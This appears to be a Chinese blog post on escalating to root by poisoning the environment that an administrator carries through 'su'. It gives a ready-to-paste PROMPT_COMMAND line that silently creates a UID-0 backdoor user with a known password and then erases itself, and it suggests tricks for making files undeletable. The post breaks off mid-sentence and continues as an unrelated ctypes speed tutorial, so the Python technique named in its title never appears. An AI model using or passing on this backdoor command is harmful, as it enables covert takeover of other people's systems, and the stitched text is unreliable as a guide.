python提权_利用python特性或bash提权

本文详细介绍了如何利用Python和BASH环境变量提权的技巧,特别是针对使用`su`而非`su -`的场景。通过设置$PROMPT_COMMAND或修改PYTHONPATH环境变量,可以在用户切换到root时执行特定命令,例如添加用户。提醒读者此方法依赖于管理员的使用习惯,并提供了一些建议以提高成功率。
摘要由CSDN通过智能技术生成

ps:下面讲的特权技巧只要利用的是用户在切换到root用户时,使用的是su命令,而没有使用su – 命令。如果用户切换到root用户时使用su -命令,或者该用户从不切换到root用户,那么下面讲的提权技巧是无用的。

su 与 su – 命令的区别:

su 是切换到其他用户,但是不切换环境变量(比如说那些你用export命令查看一下,就知道两个命令的区别了)。su – 是完整的切换到一个用户环境,环境变量是新用户的环境变量。

正是利用su 切换到root用户时不切换环境变量,可以修改当前普通用户的环境变量,当用户转到root时,命令就会以root权限运行来添加用户。

要利用成功的话,还得看管理员的习惯,是否喜欢用su切换成root

看个BASH的环境变量$PROMPT_COMMAND

这个变量保存了在主提示符$显示之前需要执行的命令.

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

看图:

随后你用su变成root,看看是否多了个用户呢

也可以建立用户删除不了的文件

比如,用户想删除某个,你在prompt_command里面加入cp命令,每次他执行完del都会又cp一个过去

具体怎么应用看你自己了

不管是偷也好&

Python是一种解释型语言,通常情况下执行速度比编译型语言要慢。然而,Python提供了许多工具和库来提高其执行速度。其中一个重要的工具是ctypes(C types)库,它允许Python与C语言进行交互,从而能够利用C语言的执行速度。 在本教程中,我们将介绍如何使用ctypes来提高Python的执行速度。 ## 安装ctypes 通常情况下,ctypes已经包含在Python标准库中,因此你不需要安装它。如果你使用的是较早版本的Python,则需要单独安装ctypes库。 ## 使用ctypes 要使用ctypes,我们需要了解以下几个关键概念: - 数据类型 - 指针 - 动态链接库 ### 数据类型 C语言有许多不同的数据类型,如整数、浮点数、字符等。Python也有其自己的数据类型。为了在Python中使用C语言的数据类型,我们需要使用ctypes库中的数据类型。 以下是一些常用的ctypes数据类型: | C 数据类型 | ctypes 数据类型 | | --- | --- | | char | c_char | | int | c_int | | long | c_long | | unsigned int | c_uint | | unsigned long | c_ulong | | float | c_float | | double | c_double | ### 指针 C语言中有指针的概念,指针是一个变量,其值为另一个变量的地址。在Python中,我们可以使用ctypes中的指针类型来模拟C语言中的指针。 以下是一些常用的ctypes指针类型: | C 指针类型 | ctypes 指针类型 | | --- | --- | | int* | POINTER(c_int) | | float* | POINTER(c_float) | | char* | POINTER(c_char) | ### 动态链接库 动态链接库是一种可重定位的文件,其中包含函数和变量的代码和数据。当我们使用ctypes时,我们通常会加载一个动态链接库,并从中调用函数。 以下是一些常用的ctypes库函数: - `cdll.LoadLibrary()`:加载一个动态链接库。 - `dll.function()`:调用库中的函数。 ## 示例 下面是一个示例,演示如何使用ctypes在Python中调用C语言编写的函数。假设我们有一个C语言函数,其定义如下: ```c int add(int a, int b) { return a + b; } ``` 我们可以将此函数编译为动态链接库,然后在Python中使用ctypes调用它。 首先,我们需要编写一个Python脚本,用于加载并调用动态链接库中的函数: ```python import ctypes # 加载动态链接库 lib = ctypes.cdll.LoadLibrary('./libadd.so') # 获取函数 add = lib.add # 设置参数和返回值类型 add.argtypes = (ctypes.c_int, ctypes.c_int) add.restype = ctypes.c_int # 调用函数 print(add(1, 2)) ``` 然后,我们可以使用以下命令将C语言代码编译为动态链接库: ```bash gcc -shared -o libadd.so add.c ``` 其中,add.c是包含上面C语言代码的文件名。 最后,我们可以运行Python脚本,并从控制台输出结果: ```bash $ python3 test.py 3 ``` 这里我们成功地使用ctypes在Python中调用了C语言函数。 ## 总结 在本教程中,我们介绍了如何使用ctypes库在Python中调用C语言函数。我们了解了ctypes中的数据类型、指针和动态链接库,并提供了一个示例来演示如何使用它们。使用ctypes可以大大提高Python的执行速度,特别是在处理大量数据时。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值